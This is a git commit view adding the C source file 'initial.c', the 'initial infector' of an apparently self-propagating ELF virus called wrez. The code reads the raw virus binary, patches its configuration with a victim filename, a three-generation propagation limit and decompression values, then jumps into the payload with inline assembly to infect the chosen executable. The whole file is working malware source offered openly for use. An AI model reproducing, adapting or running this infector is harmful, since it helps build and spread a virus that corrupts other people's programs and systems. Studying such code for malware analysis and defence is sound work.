summaryrefslogtreecommitdiff
path: root/other/wrez/initial.c
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/wrez/initial.c
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/wrez/initial.c')
-rw-r--r--other/wrez/initial.c237
1 files changed, 237 insertions, 0 deletions
diff --git a/other/wrez/initial.c b/other/wrez/initial.c
new file mode 100644
index 0000000..8dfc0e3
--- /dev/null
+++ b/other/wrez/initial.c
@@ -0,0 +1,237 @@
1
2/* initial infector which infects exactly one given binary with the virus
3 * this is necessary because we only have the virus in raw binary form after
4 * the build has taken place (i.e. no executeable elf file). so we have two
5 * choices, either putting together a proper initial elf file, or executing
6 * it as if it would already have infected a process (this one). the later is
7 * easier, as we have to fixup some compression-related data in the raw data
8 * anyway.
9 */
10
11
12#include <stdio.h>
13#include <stdlib.h>
14#include <unistd.h>
15
16#pragma pack(1)
17#include "wrconfig.h"
18
19void usage (char *progname);
20
21char * configfile = "wrez.bin.conf";
22
23
24void
25usage (char *progname)
26{
27 fprintf (stderr, "usage: %s [-c config] [-i binary.out] <victim>\n"
28 "\n", progname);
29
30 exit (EXIT_FAILURE);
31}
32
33
34int
35main (int argc, char *argv[])
36{
37 FILE * bfp;
38 char * infile = "wrez.bin.out";
39 long int infile_len;
40 unsigned char * infile_data;
41 unsigned int cfg_delta,
42 decomp_len;
43 wrconfig * cfg;
44 wrdynconfig dcfg;
45 unsigned short llstuff, hl2stuff, hf2stuff;
46 char * victim;
47
48 char c;
49 char * progname;
50 FILE * cfgfp;
51 char cfgline[128];
52 char lzstr[128];
53
54
55 fprintf (stderr, "wrez engine - initial infector\n\n");
56
57 progname = argv[0];
58 if (argc < 2)
59 usage (progname);
60
61 while ((c = getopt (argc, argv, "c:i:")) != EOF) {
62 switch (c) {
63 case 'c':
64 configfile = optarg;
65 break;
66 case 'i':
67 infile = optarg;
68 break;
69 default:
70 usage (progname);
71 break;
72 }
73 }
74
75 victim = argv[argc - 1];
76 if (victim[0] == '-')
77 usage (progname);
78
79 /* read in configuration file
80 */
81 cfgfp = fopen (configfile, "r");
82 if (cfgfp == NULL) {
83 perror ("fopen configfile");
84 exit (EXIT_FAILURE);
85 }
86
87 while (fgets (cfgline, sizeof (cfgline), cfgfp) != NULL) {
88 unsigned char keyword[16];
89
90 if (sscanf (cfgline, "%15[^ ]", keyword) != 1) {
91 fprintf (stderr, "invalid configuration file\n");
92 exit (EXIT_FAILURE);
93 }
94
95 /* XXX: kludge, put a better parser in here
96 */
97 if (strcmp (keyword, "configrel") == 0) {
98 if (sscanf (cfgline, "configrel %u", &cfg_delta) != 1) {
99 fprintf (stderr, "invalid configrel\n");
100 exit (EXIT_FAILURE);
101 }
102 } else if (strcmp (keyword, "skip") == 0) {
103 if (sscanf (cfgline, "skip %u", &decomp_len) != 1) {
104 fprintf (stderr, "invalid skip\n");
105 exit (EXIT_FAILURE);
106 }
107 } else if (strcmp (keyword, "compress") == 0) {
108 if (sscanf (cfgline, "compress %127s", lzstr) != 1) {
109 fprintf (stderr, "invalid compress\n");
110 exit (EXIT_FAILURE);
111 }
112 } else {
113 fprintf (stderr, "invalid configuration file\n");
114 exit (EXIT_FAILURE);
115 }
116 }
117
118 if (strlen (victim) >= sizeof (cfg->dyn.vinit.victim)) {
119 fprintf (stderr, "temporary victim filename can be no longer "
120 "than %d characters, yours is %d chars.\n",
121 sizeof (cfg->dyn.vinit.victim) - 1,
122 strlen (victim));
123
124 exit (EXIT_FAILURE);
125 }
126
127 bfp = fopen (infile, "rb");
128 if (bfp == NULL) {
129 perror ("fopen");
130
131 exit (EXIT_FAILURE);
132 }
133
134 fseek (bfp, 0, SEEK_END);
135 infile_len = ftell (bfp);
136 fseek (bfp, 0, SEEK_SET);
137
138 infile_data = calloc (1, infile_len + 64 * 1024 + 2);
139 infile_data[0] = 0x9c; /* pushf */
140 infile_data[1] = 0x60; /* pusha */
141
142 if (fread (infile_data + 2, 1, infile_len, bfp) != infile_len) {
143 fprintf (stderr, "failed to read %s into memory, expected %ld "
144 "bytes, got less.\n", infile, infile_len);
145 exit (EXIT_FAILURE);
146 }
147 fclose (bfp);
148
149 printf ("# successfully read %ld bytes into memory\n", infile_len);
150 printf ("# fixing configuration structure\n");
151
152
153 /* get new configuration structure, and change important settings:
154 *
155 * wr_start = virtual address of first byte of virus (dynamic)
156 * decomp_len = length of the decompression stub (static)
157 * victim = first-infection victim filename (dynamic), later used
158 * for flag data, see wrconfig.h
159 * cmprlen, llstuff, hl1stuff, hl2stuff, hf2stuff = decompression
160 * related data used by the decompression stub (static)
161 */
162 cfg = (wrconfig *) (&infile_data[2] + cfg_delta);
163
164 printf ("# .. wr_start [0x%08lx] -> ", cfg->wr_start);
165 cfg->wr_start = (unsigned long int) &infile_data[2];
166 printf ("[0x%08lx]\n", cfg->wr_start);
167
168 printf ("# .. decomp_len [%ld] -> ", cfg->decomp_len);
169 cfg->decomp_len = decomp_len;
170 printf ("[%ld]\n", cfg->decomp_len);
171
172 printf ("# .. elf_base [0x%08lx] -> ", cfg->elf_base);
173 cfg->elf_base = 0x08048000; /* XXX: kludge, hardcoded values */
174 printf ("[0x%08lx]\n", cfg->elf_base);
175
176 printf ("# .. dyn.vinit.victim[%d] \"%s\" -> ",
177 sizeof (cfg->dyn.vinit.victim),
178 cfg->dyn.vinit.victim);
179 memcpy (cfg->dyn.vinit.victim, victim, strlen (victim) + 1);
180 printf ("\"%s\" (%d + 1 bytes)\n", cfg->dyn.vinit.victim,
181 strlen (victim));
182
183 /* TODO: initialize dcfg structure
184 */
185 dcfg.cnul = 0x00;
186 dcfg.flags = 0;
187 WRF_SET (dcfg.flags, WRF_GENERATION_LIMIT);
188 dcfg.icount = 3; /* three propagations, then infertile */
189 WRF_SET (dcfg.flags, WRF_GET_FINGERPRINT);
190 memcpy (dcfg.xxx_temp, "victim", 7);
191
192 if (sizeof (wrdynconfig) > (VICTIM_LEN + sizeof (void *))) {
193 fprintf (stderr, "FATAL: sizeof wrdynconfig exceeds space: "
194 "%d > %d\n", sizeof (wrdynconfig), (VICTIM_LEN +
195 sizeof (void *)));
196
197 exit (EXIT_FAILURE);
198 }
199
200 printf ("# .. dyn.vinit.vcfgptr [0x%08lx] -> ",
201 (unsigned long int) cfg->dyn.vinit.vcfgptr);
202 cfg->dyn.vinit.vcfgptr = &dcfg;
203 printf ("[0x%08lx]\n", (unsigned long int) cfg->dyn.vinit.vcfgptr);
204
205 if (sscanf (lzstr, "%lu:%hu:%hu:%hu:%hu",
206 &cfg->cmprlen, &llstuff, &cfg->hl1stuff, &hl2stuff,
207 &hf2stuff) != 5)
208 {
209 fprintf (stderr, "failed to parse huffman string: %s\n",
210 argv[3]);
211
212 exit (EXIT_FAILURE);
213 }
214 cfg->llstuff = llstuff;
215 cfg->hl2stuff = hl2stuff;
216 cfg->hf2stuff = hf2stuff;
217
218 printf ("# .. cmprlen\tllstuff\thl1st\thl2st\thf2st\n");
219 printf ("# 0x%04lx\t0x%02x\t0x%04x\t0x%02x\t0x%02x\n",
220 cfg->cmprlen, cfg->llstuff, cfg->hl1stuff, cfg->hl2stuff,
221 cfg->hf2stuff);
222
223 printf ("# fixed, ready to infect.\n");
224
225 /* 0x83 0xc3 0xfc 0x83 = add $0xfffffffc, %ebx */
226 __asm__ __volatile__ (
227 "call *%%eax\n"
228 "add $0xfffffffc, %%ebx\n"
229 : : "a" (infile_data), "b" (infile_data));
230
231 printf ("# infected.\n");
232
233 exit (EXIT_SUCCESS);
234}
235
236
237